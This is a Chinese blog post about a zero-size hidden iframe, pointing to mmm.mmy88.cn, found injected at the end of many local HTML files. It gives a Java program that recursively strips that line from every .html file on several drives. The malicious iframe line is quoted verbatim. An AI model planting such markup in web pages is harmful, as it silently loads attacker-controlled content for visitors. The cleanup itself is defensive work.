递归删除文件内容

今天突然发现, 很多 html 文件的末尾多了一行,

<iframe width='0' height='0' src='http://mmm.mmy88.cn/lx.htm'></iframe>

不知道什么时候中的招,很久没有写有关IO方面的代码, 今天顺便温习一下, 用Java 写段代码删掉它.

public class FileUtils {
    public static void main(String[] args) throws Exception {
        String content = "<iframe width='0' height='0' src='http://mmm.mmy88.cn/lx.htm'></iframe>";
        String extName = ".html";

        String[] dirs = { "C:", "D:", "E:", "F:" };
        for (int i = 0; i < dirs.length; i++) {
            String dir = dirs[i];
            long t1 = System.currentTimeMillis();
            delContent(content, dir, extName);
            long time = System.currentTimeMillis() - t1;
            System.out.printf("Process directory %s in %d seconds\n", dir, time / 1000);
        }
    }

    /**
     * Del content in all the files(.extName) under the specified directory
     * 
     * @param extName like ".html"
     */
    public static void delContent(String content, String dir, String extName) throws Exception {
        List<String> fileNames = listFileNames(dir, extName);
        //System.out.println("Modifying...");

        for (int i = 0; i < fileNames.size(); i++) {
            String fileName = fileNames.get(i);
            //System.out.printf("%5d Modifying file: %s\n", i, fileName);

            //Read
            File f = new File(fileName);
            BufferedInputStream bin = new BufferedInputStream(new FileInputStream(f));
            byte[] buff = new byte[((int) f.length())];
            bin.read(buff);
            bin.close();
            String str = new String(buff, "utf-8");
            String[] all = str.split("\r\n");

            //Write
            OutputStream fout = new FileOutputStream(f);
            for (int j = 0; j < all.length; j++) {
                all[j] = all[j].replaceAll(content, "");
                fout.write((all[j] + "\r\n").getBytes("utf-8"));
            }
            fout.flush();
            fout.close();
        }
    }

    /**
     * List all file(.extName) name in the path
     * 
     * @param extName like ".html"
     */
    public static List<String> listFileNames(final String path, final String extName) {
        List<String> fileNames = new ArrayList<String>();

        FilenameFilter filter = new FilenameFilter() {
            public boolean accept(File dir, String name) {
                File file = new File(dir, name);
                return name.endsWith(extName) || file.isDirectory();
            }
        };

        File dir = new File(path);
        listFileNames(dir, filter, fileNames);

        return fileNames;
    }

    private static void listFileNames(File dir, FilenameFilter filter, List<String> fileNames) {
        String[] names = dir.list(filter);
        for (String s : names) {
            String fileName = dir.getPath() + File.separator + s;
            File file = new File(fileName);

            if (file.isDirectory())
                listFileNames(file, filter, fileNames);
            else
                fileNames.add(fileName);
        }
    }
}

我的显示器是 1280*1024, 这个网页居中显示, 如果全屏显示就好了, 现在两边都是空着, 好浪费啊, 发现工商银行的网页就刚刚好, 填满了, 看起来挺舒服的.